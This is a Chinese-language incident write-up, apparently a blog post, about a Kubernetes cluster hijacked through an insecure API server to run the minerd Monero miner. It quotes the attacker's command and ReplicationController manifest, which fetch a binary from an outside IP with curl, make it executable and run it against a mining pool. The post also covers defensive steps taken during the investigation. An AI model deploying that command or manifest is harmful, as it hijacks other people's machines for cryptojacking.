記一次kubernetes被minerd挖礦入侵

如下是Kubernetes環境遭minerd挖礦程序入侵排查回顧：

1. 某個月黑風高夜，臨下班時，忽然服務器A報警CPU佔用太高，經查是minerd挖礦程序入侵。

 

2. 看看這個程序在幹什麼？

# ps aux | grep minerd

root 23073 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 23170 415 0.0 680236 14608 ? Ssl 20:18 39:07 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 23329 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 24161 395 0.0 680236 14360 ? Ssl 20:19 33:35 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x

威力很大，有三臺服務器均在幾分鐘內CPU被耗盡而沒法鏈接，只能重啓一下調幾分鐘，反反覆覆。

 

3. 探索解決方法

百度谷歌了不少，得出一個結論，最有可能致使入侵的就是經過redis漏洞創建ssh鏈接操縱挖礦程序，筆者按照網上覆制最多的解決方法作了如下操做：

- 防火牆禁止挖礦程序訪問的域名，iptables -I INPUT -s xmr.pool.minergate.com -j DROP  && iptables -I OUTPUT -d xmr.pool.minergate.com -j DROP

- 禁止root登陸，sed -i 's/PermitRootLogin yes/PermitRootLogin no/'  /etc/ssh/sshd_config && service sshd restart，並查找ssh可疑文件和入侵痕跡

- 查找minerd程序運行路徑並殺掉，這個地方我卡住了，由於怎麼查都查不到minerd程序所在系統路徑，我開始明白，這個程序已經不是當年的吳下阿蒙了，網上全部的方法已經對其不起做用，當我熬了一晚上也沒解決掉這個問題的時候，我發現了一個規律，這波攻擊只涉及到了預發佈環境的三臺機器，生產環境並無被入侵的跡象，因而我安心的睡了會兒覺。

 4. 一覺醒來，繼續戰鬥

當我腦子清醒一些的時候，我冷靜的分析了一下預發佈環境上運行的服務，是由Kubernetes負責調度的docker環境，因而從排查docker容器入手，果真發現了有5個容器在運行挖礦程序，這讓我驚喜，終於知道爲何在系統裏找不到程序的路徑了，原來都運行在容器裏。

5. 它憑什麼能隨意以root身份在咱們的機器上運行容器呢？

經過排除法，我猜想多是Kubernetes Master被控制了，由它調度其它三臺機器運行挖礦程序，經過種種的蛛絲馬跡，終於驗證了這個猜想TT

 

 # kubectl get rc mysql2 -o yaml  //查看該挖礦程序的rc yaml文件

apiVersion: v1
kind: ReplicationController
metadata:
  creationTimestamp: 2017-06-26T12:18:06Z
  generation: 1
  labels:
    app: mysql2
  name: mysql2
  namespace: default
  resourceVersion: "10312428"
  selfLink: /api/v1/namespaces/default/replicationcontrollers/mysql2
  uid: 823d6538-5a69-11e7-bf24-00163e0024e8
spec:
  replicas: 5
  selector:
    app: mysql2
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: mysql2
    spec:
      containers:
      - command:
        - sh
        - -c
        - curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd &&
          setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560
          -u didi123123321@gmail.com -p x
        image: centos
        imagePullPolicy: Always
        name: mysql2
        resources: {}
        terminationMessagePath: /dev/termination-log
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      securityContext: {}
      terminationGracePeriodSeconds: 30
      volumes:
      - emptyDir: {}
        name: shared-data
status:
  fullyLabeledReplicas: 5
  observedGeneration: 1
  replicas: 5

 

6. 後續工做

因爲本人目前對kubernetes瞭解有限，因此將這個入侵的狀況反映給老大，而後老大給定位到被入侵的緣由是因爲Kubernetes Apiserver不安全配置所致，Apiserver提供了資源操做的惟一入口，並提供認證、受權、訪問控制、API註冊和發現等機制，因此apiserver的安全相當重要。